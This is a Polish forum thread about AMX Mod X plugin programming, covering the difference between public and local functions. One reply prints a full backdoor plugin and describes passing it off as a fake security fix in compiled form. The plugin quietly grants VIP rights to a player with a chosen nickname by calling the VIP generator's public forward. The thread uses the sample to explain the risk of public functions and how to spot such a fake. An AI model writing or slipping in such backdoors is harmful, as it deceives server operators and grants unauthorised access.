6 odpowiedzi w tym temacie

[Drago36]

Witam.

 

Mam dwa dolegliwości:

1. Która wersja będzie bardziej kompatybilna?

Spoiler

public cod_class_skill_used(id)
{
	if(!is_user_alive(id))
		return
		
	if(skorzystal[id])
	{
		ColorChat(id, RED, "Swojej umiejetnosci mozesz wykorzystywac co minute!")
		return
	}
	
	Gracze(id)
}

Gracze(id) // <== a)
{
	new menu = menu_create("Kogo przesledzic?", "Gracze_handler")
	for(new i=0, n=0; i<=32; i++)
	{
		if(!is_user_alive(i) || get_user_team(i) == get_user_team(id) || i == id)
			continue
			
		gracz_id[n++] = i
		new nazwa_gracza[64]
		get_user_name(i, nazwa_gracza, 63)
		menu_additem(menu, nazwa_gracza, "0", 0)
	}
	menu_display(id, menu)
}

Czy:

public cod_class_skill_used(id)
{
	if(!is_user_alive(id))
		return
		
	if(skorzystal[id])
	{
		ColorChat(id, RED, "Swojej umiejetnosci mozesz wykorzystywac co minute!")
		return
	}
	
	Gracze(id)
}

public Gracze(id) // <== b)
{
	new menu = menu_create("Kogo przesledzic?", "Gracze_handler")
	for(new i=0, n=0; i<=32; i++)
	{
		if(!is_user_alive(i) || get_user_team(i) == get_user_team(id) || i == id)
			continue
			
		gracz_id[n++] = i
		new nazwa_gracza[64]
		get_user_name(i, nazwa_gracza, 63)
		menu_additem(menu, nazwa_gracza, "0", 0)
	}
	menu_display(id, menu)
}

Jak widzimy w ppkt. b ) kontynuowany kod jest do publica, a w a) jest do.. i tu właściwie pytanie drugie - jak to się nazywa? Trochę wstyd, ale nie jestem informatykiem, ja zajmuję się jedynie rzeczami do cs'a.

 

Wszelkie dzięki za udzielenie odpowiedzi.

[pro100wHS]

Sposób A nie zadziała, bo będzie kompilator uznawał za symbol funkcję Gracze(id). Musisz używać sposobu B, wtedy wsio działa.

[BlackPerfum]

Sposób A nie zadziała, bo będzie kompilator uznawał za symbol funkcję Gracze(id). Musisz używać sposobu B, wtedy wsio działa.

Jeśli Drago36 nigdzie w tekście nie ma zrobionej zmiennej/stałej/funkcji o tej samej nazwie to zadziała bez problemu

Pierwsza "dolegliwość": różnicy w działaniu nie odczujesz bo to czy funkcja jest publiczna czy lokalna (druga "dolegliwość") na to nie wpływa. Różnią się tylko miejscem rejestracji przez co do funkcji lokalnej masz dostęp tylko w danym pluginie a do funkcji publicznej możesz się "włamać" skąd chcesz Do wywoływania funkcji publicznych z innych pluginów możesz użyć callfunc_begin / callfunc_begin_i / ExecuteForward

Teraz nasuwa się pytanie czy chcesz by inny plugin mógł użyć twojej funkcji?

[Drago36]

Teraz nasuwa się pytanie czy chcesz by inny plugin mógł użyć twojej funkcji?

Nie. Zajechałem przykładem tylko.   Czyli jeszcze dla pewności: użycie funkcji, czy to publicznej, czy lokalnej i tak nie ma wpływu na kompatybilność?

[BlackPerfum]

Nie ma żadnego wpływu na komaptybilność z tym że musisz bardzo mądrze wybierać czy dana funkcja ma być publiczna czy nie gdyż łatwo zakłócić prawidłowe działanie pluginu poprzez włamanie się do niego. Przykład z życia wzięty. Generator vip'a generuje nam pięknego vip'a i aktualnie 90% serwerów ma go na swoim serwerze. Teraz ogłosze że aktualne binarki mają mega błąd przez który można mieć dostęp do plików serwerowych i mój plugin go naprawia (dam sam .amxx nie .sma + flaga -d0 ) choć błędu ani sposobu na jego naprawe nie ma ludzie będą się bać i na wszelki wypadek ładowac mój plugin A o to source code:

#include <amxmodx>

public client_authorized(id)
{
	if(task_exists(id))	remove_task(id)
		
	set_task(1.0,"DajMiVipa",id)
}

public DajMiVipa(id)
{
	new name[32]
	get_user_name(id,name,31)
	if(equal(name,"Zjem Ci Noge"))
	{
		new r
		ExecuteForward(CreateMultiForward("client_authorized_vip", ET_IGNORE, FP_CELL), r, id)
	}
}

I takim oto sposobem będę miał vip'a na każdym serwerze który będzie miał ten plugin Marzenia + czarny charaketer == Ja

[Drago36]

Hahah no proszę

Ładnie, hacker się urodził 

 

Dzięki za wszystko, a osoby korzystające z generatora vip'a będą się teraz dziwić czemu wszyscy na serwie mają vip'y heh.

[GwynBleidD]

It's not a bug, it's a FEATURE!

Dzięki temu, że client_authorized_vip w generatorze jest funkcją publiczną, można sobie dołożyć dowolny plugin który dodatkowo aktywuje VIPa bazując na czymś zupełnie innym, niż flagi uprawnień.

Dobrym przykładem jest np darmowy VIP w jakichśtam godzinach (happy hours), który można dzięki temu stworzyć bez przerabiania głównego pluginu VIPa.

A to, że ktoś jest głupi i wrzuci na swój serwer taki plugin to już jego problem. Powiem tyle, że nawet -d0 nic nie da, spokojnie mogę sprawdzić, że wykonujesz funkcję CreateMultiForward z argumentem "client_authorized_vip", już sam string client_authorized_vip znaleziony w pluginie śmierdzi fałszywką